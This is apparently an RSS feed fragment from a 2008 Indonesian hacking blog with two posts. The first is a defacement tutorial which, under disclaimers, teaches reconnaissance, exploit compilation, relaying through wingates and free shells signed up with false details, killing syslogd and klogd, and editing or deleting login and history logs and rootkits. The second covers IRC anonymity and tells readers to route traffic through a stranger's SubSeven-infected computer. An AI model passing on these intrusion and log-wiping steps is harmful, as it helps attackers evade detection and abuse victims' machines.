		<description><![CDATA[Cerita tentang Defacer Pertama kalinya, saya tidak mendeface, dan tidak akan pernah melakukannya. Jadi bagaimana saya mengetahui cara mendeface? saya kira saya hanya melihat cara orang-orang mendeface dan saya bukanlah ahlinya dalam hal ini. Jika saya melakukan kesalahan maka saya mohon maaf. Ini adalah cara sederhana saat anda memikirkan bahwa mendeface itu hanya sekedar mengganti [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=14&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-14"></span>Cerita tentang Defacer</p>
<p>Pertama kalinya, saya tidak mendeface, dan tidak akan pernah melakukannya. Jadi bagaimana saya mengetahui cara mendeface? saya kira saya hanya melihat cara orang-orang mendeface dan saya bukanlah ahlinya dalam hal ini. Jika saya melakukan kesalahan maka saya mohon maaf. Ini adalah cara sederhana saat anda memikirkan bahwa mendeface itu hanya sekedar mengganti file di suatu computer. Saat ini, mencari exploit merupakan hal pertama, exploit yang sesungguhnya buah dari keterampilan, pengetahuan para hacker yang sejati. Saya tidak menganjurkan agar anda mendeface semua website, apalagi untuk mendapatkan credit card, password, source code, info billing, database email dsb&#8230; (sungguh anda benar-benar perusak yang tidak tahu diri).</p>
<p>Tutorial ini terdiri dari 3 bagian utama, yaitu:<br />
1. Celah Keamanan Host<br />
2. Menyusup<br />
3. Menghapus Jejak</p>
<p>Sangat mudah, dan saya akan menunjukkan hal tersebut kepada anda.</p>
<p>1. Celah Keamanan Host<br />
Ada dua kategori script kiddies: pertama, seseorang yang melakukan scan di internet pada suatu host yang memiliki celah keamanan dengan exploit tertentu dan mencari website tertentu untuk mencoba berbagai exploit. Kelompok pertama ini melakukan scanning ribuan situs dengan suatu exploit tertentu. Mereka tidak peduli siapa yang mereka hack, dan untuk apa. Mereka tidak memasang target dan tidak memiliki tujuan yang pasti. Menurut pendapat saya orang-orang ini memiliki alasan yang terlalu dibuat-buat seperti:</p>
<p>- &#8220;Saya hanya memastikan agar mereka mengupdate web security-nya&#8221;<br />
- &#8220;Saya hanya menyampaikan pesan politis saja kok!&#8221;<br />
- &#8220;Saya melakukan deface untuk mendapatkan perhatian media massa&#8221;</p>
<p>Orang-orang yang mendeface menjadi terkenal atau untuk menunjukkan bahwa mereka sangat terampil dan hebat, perlu kedewasaan dan menyatakan bahwa ada cara yang lebih baik ketimbang melakukan deface dengan alasan yang dibuat-buat.</p>
<p>Scanning Script Kiddie: Anda perlu mengetahui adanya celah keamanan, entah itu pada service yang dijalankan, sistem operasi atau file CGI-nya. Bagaimana cara anda mengetahui adanya celah keamanan? Versi berapa yang dijalankan? anda perlu mengetahui bagaimana mencarinya exploit web di internet (dengan google.com). Menggunakan suatu script untuk scanning range ip pada port tertentu yang memiliki celah keamanan. Atau menggunakan www.netcraft.com untuk mengetahui jenis server, sistem operasi dan aplikasi yang dijalankan (frontpage, php, asp, dsb..). nMap dan port scanner lainnya dapat melakukan scanning dengan cepat terhadap ribuan ip pada suatu port yang terbuka. Ini merupakan teknik favorit bagi mereka yang ingin melakukan hacking secara massal.</p>
<p>Website Target Script Kiddie: Sebaiknya para script kiddies melakukan hack pada berbagai website lawas. Langkah utama adalah mengumpulkan informasi situs tersebut sebanyak mungkin. Mencari sistem operasi yang dijalankan melalui netcraft.com atau menggunakan: telnet www.site.com 80 kemudian GET /HTTP/1.1 mencari service apa yang dijalankan melalui port scan. Mencari spesifikasi service dengan melakukan telnet. Mencari berbagai script CGI, atau file-file lainnya yang memungkinkan anda mengakses server tersebut dengan mengeksploitasi /cgi /cgi-bin dan browsing ke website tersebut.</p>
<p>Setelah mencari berbagai informasi yang anda miliki selanjutnya anda dapat melakukan:</p>
<p>2. Penyusupan<br />
Untuk melakukan hal ini anda dapat mencari berbagai exploit yang dapat digunakan untuk mengakses website tersebut. JIka anda melakukan scanning dan anda akan mengetahui exploit apa yang tepat untuk digunakan. Dua temnpat utama untuk mencari exploit adalah melalui website www.securityfocus.com dan www.packetstormsecurity.org. Setelah mendapatkan exploit, periksa dan pastikan bahwa exploit tersebut memang untuk versi service, sistem operasi, script dsb yang dijalankan. Exploit umumnya dibuat menggunakan dua bahasa pemrograman yaitu C dan Perl. Script Perl memiliki ekstensi .pl atau .cgi, sedangkan C memiliki ekstensi .c, untuk mengkompilasi suatu file C (pada sistem *nix) gunakan perintah gcc -o exploit12 file.c lalu: ./exploit12. Sedangkan untuk Perl cukup melakukan perintah chmod 700 file.pl (sebenarnya tidak diperlukan) lalu: file Perl.pl. Ini hanyalah teknik kompilasi yang sederhana atau hanya teori kemungkinan exploit. Lakukan saja sedikit penelitian bagaimana cara menggunakannya. Hal lain yanganda perlukan untuk memeriksa apakah exploit tersebut merupakan remote atau local. Jika exploit lokal maka anda harusmemiliki suatu account atau akses secara fisik pada computer tersebut. Jika remote maka anda dapat melakukannya melalui jaringan (internet).</p>
<p>Jangan hanya bisa mengkompilasi exploit, ada satu hal penting yang perlu anda ketahui yaitu:</p>
<p>Menghapus Jejak<br />
Setelah anda mendapatkan informasi mengenai host dengan tujuan mencari suatu exploit yang cocok yang memungkinkan anda menyusup. Mengapa tidak segera melakukannya? masalahnya adalah menghapus jejak hacking anda tergolong sulit, sulit diprediksi. Hanya karena anda meng-&#8221;kill&#8221; sys log tidak berartibahwa anda tidak terlacak oleh logger atau IDS (Intrusion Detection System) yang dijalankan. Banyak sekali script kiddies yang meremehkan kemampuan para admin yang hostnya mereka jadikan sasaran. Sebagai gantinya para script kiddie mencoba menggunakan account isp kedua untuk memulai hacking, memang akan terlacak tapi takkan tertangkap. JIka anda tidak memiliki fasilitas ini maka anda HARUS memiliki banyak wingate, shell account atau trojan untuk melakukan bounce off. Menghubungkannya secara bersamaan akan menyulitkan seseorang melacak keberadaan anda.Log pada wingate dan shell seringkali dihapus setelah 2-7 hari. Meski log dipelihara seluruhnya, tetap sulit bagi admin untuk melacak lebih jauh wingate atau shell-nya script kiddie sebelum log tersebut harus dihapus. Dan jarang sekali seorang admin memperhatikan dengan seksama terjadinya suatu serangan, bahkan kecil kemungkinannya mau mengejar attacker, yang penting bagi mereka adalah mengamankan box mereka dan melupakan yang telah terjadi.</p>
<p>Untuk alasan keamanan, jika anda menggunakan wingate dan shell, jangan melakukan apapun untuk mem-&#8221;pissed off&#8221; admin terlalu banyak (yang membuat mereka memanggil otorisasi atau mencoba melacak keberadaan anda) dan hapuslah log anda agar aman. Bagaimana cara melakukannya?</p>
<p>Ringkasnya, kita memerlukan beberapa wingate. Wingate secara alami cenderung mengubah ip atau shutdown sepanjang waktu, jadi diperlukan daftar terbaru atau program yang melakukan scan di internet. Anda dapat mendapatkan daftar wingate yang up to date di</p>
<p>http://www.cyberarmy.com/lists/wingate/ atau anda juga bisa menggunakan program yang disebut winscan. Nah anggaplah anda memiliki 3 wingate:</p>
<p>212.96.195.33 port 23<br />
202.134.244.215 port 1080<br />
203.87.131.9 port 23</p>
<p>Untuk menggunakannya jalankan telnet dan hubungkan ke port 23, akan terlihat respon seperti ini:</p>
<p>CSM Proxy Server &gt;</p>
<p>Untuk menghubungkan ke wingate berikutnya kita ketikkan ip:port seperti ini:</p>
<p>CSM Proxy Server &gt;202.134.244.215:1080</p>
<p>JIka terjadi error maka proxy yang coba anda hubungi tidak ada atau anda harus login ke proxy. Jika semuanya berjalan dengan baik, anda akan mendapatkan 3 rangkaian dan shell account yang terhubung. Pada shell account tersebut anda dapat melakukan link shell bersamaan dengan:</p>
<p>[j00@server j00]$ ssh 212.23.53.74</p>
<p>Anda memperoleh free shell yang bekerja hingga mendapatkan shell lainnya yang dihack, berikut ini daftar dari free shell account. Ingat, mendaftarlah dengan informasi palsu dan jika memungkinkan, melalui suatu wingate.</p>
<p>SDF (freeshell.org) &#8211; http://sdf.lonestar.org<br />
GREX (cyberspace.org) &#8211; http://www.grex.org<br />
NYX &#8211; http://www.nxy.net<br />
ShellYeah &#8211; http://www.shellyeah.org<br />
HOBBITON.org &#8211; http://www.hobbiton.org<br />
FreeShells &#8211; http://www.freeshells.net<br />
DucTape &#8211; http://www.ductape.net<br />
Free.Net.Pl (Polish server) &#8211; http://www.free.net.pl<br />
XOX.pl (Polish server) &#8211; http://www.xox.pl<br />
IProtection &#8211; http://www.iprotection.com<br />
CORONUS &#8211; http://www.coronus.com<br />
ODD.org &#8211; http://www.odd.org<br />
MARMOSET &#8211; http://www.marmoset.net<br />
flame.org &#8211; http://www.flame.org<br />
freeshells &#8211; http://freeshells.net.pk<br />
LinuxShell &#8211; http://www.linuxshell.org<br />
takiweb &#8211; http://www.takiweb.com<br />
FreePort &#8211; http://freeport.xenos.net<br />
BSDSHELL &#8211; http://free.bsdshell.net<br />
ROOTshell.be &#8211; http://www.rootshell.be<br />
shellasylum.com &#8211; http://www.shellasylum.com<br />
Daforest &#8211; http://www.daforest.org<br />
FreedomShell.com &#8211; http://www.freedomshell.com<br />
LuxAdmin &#8211; http://www.luxadmin.org<br />
shellweb &#8211; http://shellweb.net<br />
blekko &#8211; http://blekko.net</p>
<p>Setelah sebelumnya mendapatkan shell, anda dapat mengkompilasi exploit, dan anda menjadi sulit dilacak. Agar lebih yakin, hapuslah semua bukuti yang menunjukkan keberadaan anda.</p>
<p>Baiklah, ada beberapa hal pada sisi server yang para script kiddies perlu ketahui. Keharusan untuk mengedit atau menghapus log. Script Kiddies sejati munkin menggunakan suatu rootkit yang secara otomatis dapat menghapus log. Ada 2 log utama daemon yang akan saya jelaskan, yaitu klogd yang berupa log kernel, dan syslogd yang berupa log sistem. Langkah pertama untuk melakukan &#8220;kill&#8221; daemon tersebut agar tidak me-log apapun tindakan anda.</p>
<p>[root@hacked root]# ps -def | grep syslogd<br />
[root@hacked root]# kill -9 pid_of_syslogd</p>
<p>Pada baris pertama kita menemukan pid syslogd, sedangkan baris kedua kita melakukan &#8220;kill&#8221; daemon tersebut, anda juga dapat menggunakan /etc/syslog.pid untuk mencari pid syslogd.</p>
<p>[root@hacked root]# ps -def | grep klogd<br />
[root@hacked root]# kill -9 pid_of_klogd</p>
<p>Langkah yang sama kita gunakan pula terhadap klogd</p>
<p>Sekarang default logger telah di kill, maka script kiddies perlu menghapusnya dari log. Untuk mencari dimana syslogd menaruh log, periksa file /etc/syslog.conf. Tentunya jika anda tidak peduli kalau admin mengetahui bahwa anda menghapus seluruh log. Dalam hal ini anda benar-benar seorang &#8220;perusak&#8221;, seorang defacer sialan, sang admin akan mengetahui bahwa box mereka disusupi saat website tersebut terdeface. Jadi tidak ada point yang ditambahkan log tersebut, mereka akan menghapusnya. Adapun alasannya adalah agar para admin tidak mengetahui bahwa telah terjadi pembobolan. Saya akan menuliskan alasan utama orang-orang ini membobol suatu box (system).</p>
<p>Mendeface website &#8211; lamer, tidak ada tujuan, hanya ingin merusak sistem.</p>
<p>Sniffing password jaringan &#8211; ada beberapa program yang memungkinkan anda melakukan sniff password yang dikirimkan dari dan ke suatu sistem. Jika sistem ini berada pada jaringan ethernet maka anda dapat melakukan sniff packet (yang berisikan password) yang diperuntukkan pada berbagai sistem dalam segment tersebut.</p>
<p>Melakukan DDoS attack. &#8211; lamer, sang admin memiliki banyak kesempatan untuk memperhatikan bagaimana anda mengirimkan ratusan MB melalui koneksinya.</p>
<p>Melakukan serangan lain pada suatu sistem &#8211; teknik ini dan sniffing diatas sangat umum digunakan, bukan pekerjaan lamer. Anda mengetahui bagaimana dengan suatu rootshell anda dapat melancarakan serangan dari sistem ini sebagai ganti dari keterbatasan freeshell. Anda memiliki kendali mutlak terhadap log dari shell tersebut.</p>
<p>Memperoleh Informasi Sensitif &#8211; Beberapa sistem perusahaan memiliki informasi berharga seperti database Credit Card, source code piranti lunak, daftar username/password, dan informasi rahasia lainnya yang diinginkan seorang hacker.</p>
<p>Untuk belajar dan bersenang-senang &#8211; banyak orang melakukannya demi sensasi hacking dan menambah pengalaman. Saya tidak melihat hal ini sebagai suatu kejahatan sepanjang tidak merusak apapun. Kenyataannya beberapa orang hacker bahkan menolong admin tersebut melakukan patch terhadap &#8216;hole&#8217; yang ditemukan. Meski tergolong ilegal, asalkan tidak menghancurkan sistem orang lain.</p>
<p>Saya akan menjelaskan dasar-dasar file log seperti: utmp, wtmp, lastlog, dan .bash_history. File-file ini biasanya berada di /var/log/ tapi saya dengar juga bisa ada di /etc/ /usr/bin dan tempat lainnya. Pada kebanyakan sistem yang berbeda langkah terbaik adalah melakukan find / -iname &#8216;utmp&#8217;|find / -iname &#8216;wtmp&#8217;|find / -iname &#8216;lastlog&#8217;. dan juga mencari melalui direktori /usr/ /var/ dan /etc/ pada log lainnya. Sekarang akan saya jelaskan ketiga file ini:</p>
<p>utmp merupakan file log yang mencatat siapa saja yang mengakses sistem, saya pikir anda dapat melihat mengapa log ini harus ditambahkan. Karena anda tidak ingin membiarkan siapapun mengatahui bahwa anda berada dalam sistem tersebut.</p>
<p>wtmp merupakan file log yang mencatat proses login dan logout, tentunya anda tidak ingin pula hal ini diketahui oleh admin. Harus diedit untuk menunjukkan bahwa anda tidak pernah login atau logout dan lastlog yang merupakan suatu file yang mencatat rekaman seluruh aktifitas login. Selain itu history dari shell yang anda gunakan juga mencatat seluruh perintah yang anda ketikkan, anda harus mencari pada direktori $ HOME dan mengeditnya.</p>
<p>.sh_history, .history, dan .bash_history merupakan nama umum, yang harus diedit bukan dihapus. Jika anda menghapusnya sama saja memberitahukan kepada admin bahwa &#8220;Yuhuuu, Sistem Anda Kebobolan!&#8221;. Para Newbie Script Kiddies seringkali mendeface dan diikuti rm -rf/ agar aman. Sebisa mungkin hindari hal ini kecuali anda memang rada-rada sinting. Dalam kasus ini saya sarankan agar tidak mencoba mengeksploitasi sistem lagi. Cara lain untuk mencari file log adalah menjalankan suatu script yang memeriksa file-file terbuka (dan secara manual melihatnya untuk menentukan apa saja yang di-log) atau mencari file yang sudah diedit, melalui perintah seperti: find / -ctime 0 -print</p>
<p>Ada beberapa script populer yang dapat menyembunyikan keberadaan anda dari log seperti: zap, clear, dan cloak. Zap berfungsi untuk mengganti keberadaan anda pada log dengan angka 0, sedangkan Clear akan menghapus log dari keberadaan anda, dan Cloak akan mengganti kehadiran anda dengan informasi lain. Menurut pengalaman saya, acct-cleaner cukup berat digunakan script untuk menghapus log account. Banyak rootikit yang memiliki script penghapus log, dan saat menginstallnya log tidak akan mengetahui keberadaan anda. Jika anda berada pada sistem NT, maka file log-nya ada di C:\winNT\system32\LogFiles\, hapus file ini, para admin NT seringkali tidak memeriksa atau mengetahui artinya bila terhapus.</p>
<p>Hal terakhir mengenai penghapusan jejak, saya tidak akan menjelaskan secara rinci mengenai hal ini karena membutuhkan suatu pembahasan tersendiri. Saya hanya membicarakan mengenai rootkit. Apakah rootkit itu? Mereka ini digunakan secara luas guna menghapus jejak anda saat memasuki suatu sistem. Menjadikan anda tetap &#8220;hidden&#8221; dalam sistem. Login tanpa password, tidak di log oleh wtmp atau lastlog dan bahkan tanpa perlu ada pada file /etc/passwd. Dengan rootkit ini membuat perintah seperti ps untuk menyembunyikan proses, jadi tak seorangpun mengetahui program apa yang sedang anda jalankan. Mereka mengirimkan laporan palsu pada netstat, ls dan seolah-olah semuanya berjalan dengan normal. Oh, jangan senang dulu, ada beberapa kelemahan dari rootkit, pada beberapa perintah yang dilakukan menimbulkan keanehan karena binary tidak bekerja secara benar. Mereka juga meninggalkan fingerprint (cara mengetahui bahwa file ada dalam rootkit). Hanya admin yang hebat saja yang dapat memeriksa rootkit, jadi hal ini bukanlah ancaman serius, tapi patut dipertimbangkan. Rootkit dibuat dengan suatu LKM (loadable kernel modul) yang sangat ideal untuk menyembunyikan keberadaan anda dan kebanyakan admin tidak mengetahui adanya aktifitas mencurigakan.</p>
<p>Dalam menulis tutorial ini saya mengikutkan perasaan. Saya tidak ingin ada lagi script kiddies yang melakukan scanning ratusan website untuk dieksploitasi. Saya tidak ingin nama dan nickname saya dicatut. Saya sudah lelah mendengar orang-orang berkata seperti ini, &#8220;Tidak ada sistem komputer yang aman 100%, Update webserver anda, Hacked by &#8230;.dst.&#8221; Meninggalkan nick atau nama kelompok mereka kemudian kabur begitu saja. Saya rasa banyak orang-orang yang ingin mempelajari segala sesuatu dengan tujuan membobol sistem, yang seringkali disamarkan atas nama ilmu pengetahuan.</p>
<p>Tutorial ini mencoba mengatakan bahwa betapa sederhananya memasuki suatu sistem. Namun bukanlah panduan lengkap, saya tidak menjelaskan banyak hal. Saya harap admin menemukan tutorial ini dan merasa terbantu, mempelajari bahwa website-nya harus dijaga dan sering melakukan patch. Melindungi diri sendiri dengan IDS dan menemukan berbagai celah keamanan pada sistem anda sendiri (menggunakan vuln scanner). Juga mengatur setting sistem eksternal untuk melakukan log bukanlah ide yang buruk. Para admin seharusnya melihat beberapa pemikiran script kiddies dan mempelajari beberapa hal yang mereka lakukan&#8230; dan menangkap basah mereka yang membobol sistem anda. Adil khan?</p>
<p>Ingatlah, Mendeface sama dengan perusak (lamer). Saya banyak mengetahui orang-orang yang melakukan deface dan sekarang menyesalinya. Anda hanya akan menjadi script kiddie dan tetap seorang lamer abadi.</p>
<p>sekian.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/14/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/14/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/14/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=14&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/cerita-tentang-defacer-by-klept0s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
		<item>
		<title>Ip spoofing with IRC</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/ip-spoofing-with-irc/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/ip-spoofing-with-irc/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 07:36:42 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
		
		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/celah-keamanan-tcp/</guid>
		<description><![CDATA[Banyak orang terkagum-kagum bagaimana cara agar mereka terlihat anonymous di IRC, maksudnya bagaimana cara memalsukan IP mereka atau bagaimana mendapatkan ip address lain seperti &#8220;gates.is.owned.a01.hax0rz.com. Dalam teks kecil saya mencoba menjelaskan bagaimana cara melakukan teknik spoofing ini. Cara termudah untuk memalsukan IP asli saat terhubung ke suatu RIC server adalah melalui Wingate atau Proxy server. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=13&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-13"></span></p>
<p>Banyak orang terkagum-kagum bagaimana cara agar mereka terlihat anonymous di IRC, maksudnya bagaimana cara memalsukan IP mereka atau bagaimana mendapatkan ip address lain seperti &#8220;gates.is.owned.a01.hax0rz.com. Dalam teks kecil saya mencoba menjelaskan bagaimana cara melakukan teknik spoofing ini.</p>
<p>Cara termudah untuk memalsukan IP asli saat terhubung ke suatu RIC server adalah melalui Wingate atau Proxy server. Hal ini dapat dilakukan dengan memasukkan ip address dan port dari proxy atau wingatete ke bagian firewall mIRC client anda. (Pilih Options-&gt;Connect-&gt;Firewall). Pastikan bahwa anda menggunakan proxy server dan anda telah memeriksa protokol &#8220;Proxy&#8221; tersebut, jika menggunakan Socks4 frewall, anda harus memeriksa protokol &#8220;Socks4&#8243; dengan segera.</p>
<p>Mungkin anda menanyakan dimana saya bisa menemukan proxy dan wingate ini, mudah saja, carilah di <a href="http://www.cyberarmy.com/lists/proxy">http://www.cyberarmy.com/lists/proxy</a>, atau boleh anda cari dengan search engine seperti google.com dengan keyword &#8220;proxy list&#8221;. Catatan: Tidak semua proxy/wingate boleh anda pergunakan, jadi melalui daftar tersebut dan ujilah pakan salah satunya dapat digunakan untuk melapisi anda di IRC.</p>
<p>Berikut ini saya akan menjelaskan bagaimana suatu irc server dengan address unik seperti (op.me.so.i.can.mass.deop.com). Agar dapat menggunakan address unik sejenis ini anda harus membeli sebuah shell account yang mendukung vhost (atau mendapatkan informasi shell account dengan memintanya dari seorang teman, dsb). Ada banyak Shell provider diluar sana dan membeli sebuah basic bouncer account yang murah, shell account yang saya beli dari <a href="http://www.strategical.net/">www.strategical.net</a> seharga 5 dollar perbulan, jadi tidak mahal khan? (Catatan dari para bouncer: Strategical.net merupakan Shell provider yang handal karena saya telah membayar untuk satu bulan dan sekarang saya telah menggunakannya selama 4 bulan, dan selama itu belum pernah ada masalah dengan servisnya, vhost-nya cepat dan uptodate).</p>
<p>Setidaknya anda sudah berusia 18 tahun keatas agar dapat membeli sebuah shell account, jadi anda harus meminta ijin dari orang tua anda agar membelikannya untuk anda (saya tidak akan menyarankan pembayaran via credit card, namun sebagai gantinya para provider bisa menerima cek atau kiriman uang). Bila anda telah memiliki shell account, anda jalankan mIRC client dan koneksikan ke shell provider tersebut (contoh: /server strategical.net 37612), Dalam contoh tersebut address shell provider anda adalah strategical.net dan nomor port dimana BNC daemon mereka listening di 37612. Selanjutnya akan diminta suatu password, anda mengetik perintah /quote pass password. Kemudian anda memilih sebuah vhost untuk menggunakan bounce, saat anda mengetahui apakah seseorang menggunakan anda mengeetik /quote vip vhost.ya.chose.here. sekarang anda terhubung ke IRC server, kemudian ketik: /quote conn irc_server 6667. Saat ini jika vhost anda di &#8216;banned&#8217; dari server/network tersebut anda dapat melakukan chat secara normal saja.</p>
<p>Saya tidak memiliki shell account dan tidak ingin membayar sesen pun, adakan cara terhubung ke IRC selain Wingate/Proxy?</p>
<p>Ya, pertama kali saya akan menjelaskan WinBNC dan cara menggunakan bounce melalui address teman anda yang menjalankan sebuah WinBNC daemon untuk anda. WinBNC daemon sangat mirip dengan BNC daemon yang dijalankan oleh server shell providernya, memberikan proteksi password, dukungan vhost dsb. Jadi anda harus memiliki teman yang bersedia membagi bounce mereka melalui address mereka ke IRC server. Tentunya mereka harus memiliki software WinBNC daemon (jika mereka menggunakan sistem operasi lain selain windows mereka harus menggunakan BNC, ezBNC daemon yang dibuat untuk platform lain dsb). Jadi anda dapat terhubung melalui computer dan address mereka.</p>
<p>Gunakan search engine dan carilah WinBNC dsb. sebelum teman anda menjalankan daemon untuk anda, dia harus menentukan listening port, password dan admin password, disarankan untuk menentukan daftar IP/DNS yang dapat menggunakan BNC tersebut. (Daftar ini tentunya harus termasuk IP anda agar dapat terhubung ke BNC teman anda). Konfigurasi ini dapat dilkukan dengan memodifikasi file bnc.cfg yang disertakan dalam paket WinBNC menggunakan notepad atau editor teks lainnya. Setting nilai yang benar sangat mudah dan telah dijelaskan dalam file bnc.cfg (silakan baca instruksi dari file bnc.cfg).</p>
<p>Setelah, mengeset nilai yang benar teman anda membuka MS-Dos prompt dan membuka direktori dimana WinBNC di unzip dan menjalankan file bnc.exe. Kemudian memberikan IP address, password WinBNC, dan nomor port untuk anda dan sekarang anda mengetik nilai tersebut pada program IRC client</p>
<p>sebagai contoh:</p>
<p>/server 144.64.24.100 nomor_port password</p>
<p>saat terhubung ke WinBNC teman anda, anda tinggal mengetik</p>
<p>/quote conn irc_server nomor_port password</p>
<p>(catatan: teman anda dipastikan tidak memiliki vhost, jadi anda dapat terhubung dengan hanya menggunakan addressnya).</p>
<p>Perlu dicata bahwa ada bouncer lain yang dapat digunakan untuk melakukan tugas yang sama, namun biasanya mereka memiliki fitur lain untuk memata-matai dan melakukan aktifitas yang tidak diinginkan. Jadi saya menyarankan anda menggunakan bounce dari para bouncer sejenis ini, meski seseorang menawarkan bounce &#8216;aspal&#8217; ini untuk anda gunakan.</p>
<p>Jika anda tidak memiliki seorang teman yang menjalankan BNC untuk anda, ada beberapa metode lain agar terlihat anonymous di IRC. Caranya, carilah seseorang yang terinfeksi trojan SubSeven. Fitur tersebut dapat mengalihkan port kita, dapat digunakan untuk mengalihkan seluruh data ke tujuannya (contoh: IRC server) melalui komputer korban SubSeven tersebut. Maksudnya host tujuan tidak berkomunikasi dengan anda, melainkan berkomunikasi dengan komputer korban SubSeven tersebut, jadi anda tidak akan terlacak oleh host tujuan tersebut (karena komputer korban SubSeven menjalankan sejenis BNC untuk anda tanpa diketahui).</p>
<p>Sekali anda mendapatkan korban SubSeven anda harus menghubungkan program SubSeven client anda dan mengeset port terusan tersebut. Hal ini akan meminta input port, output port dan output host.</p>
<p>a. Input port : adalah port dimana anda terhubung melalui IRC client.<br />
b. Output port: adalah port IRC server<br />
c. Output host adalah IRC server dimana kita ingin terhubung.</p>
<p>1. Masukkan nomor port, misalnya 2000 pada field input port,<br />
2. Masukkan port apa saja dimana IRC server tersebut listening pada field output port, dan<br />
3. Masukkan IRC server address pada field output host, contohnya: irc.dal.net</p>
<p>Begitu anda selesai melakukannya, anda dapat menutup program SubSeven client anda dan bukalah program IRC client anda. Kemudian ketik</p>
<p>/server ip_korban_subseven inputport_anda</p>
<p>Contoh:</p>
<p>/server 212.213.100.2 2000</p>
<p>Selanjutnya hubungkan diri anda pada IRC server yang anda inginkan, maka anda akan terhubung ke IRC server dengan IP address korban SubSeven (anda dapat memeriksa dengan mengetik /whois nick_anda).</p>
<p><b>Proyek Freedom</b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Oh, ya. Mungkin anda pernah mendengar mengenai Proyek Freedom (<a href="http://www.freedom.net/">http://www.freedom.net</a>), diciptakan untuk memberikan client mereka anonymous penuh di dunia internet. Bekerja sangat baik pada IRC, Web Browsing, Mail, Telnet dsb. namun yang saya dengar mereka sudah tidak memberikan hasil untuk uji coba lagi, jadi anda harus membayar untuk servis yang diberikan. Bukalah halaman mereka, semoga anda tertarik dengan tawaran mereka, namun saya tidak akan menggunakan layanan ini, karena pada dasarnya anda dapat terlihat anonymous dengan metode (gratis) lainnya.</p>
<p><b>Proyek BlackAngel</b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Selain itu, anda mungkin juga pernah mendengar proyek BlackAngel dari komunitas hacker bernama The Hackology Network (<a href="http://www.hackology.com/">http://www.hackology.com</a>), proyek BlackAngel ini sangat mengesankan dan semoga saja mereka memiliki kekuatan untuk menyelesaikan proyek tersebut dengan segera.</p>
<p class="MsoNormal"> </p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" 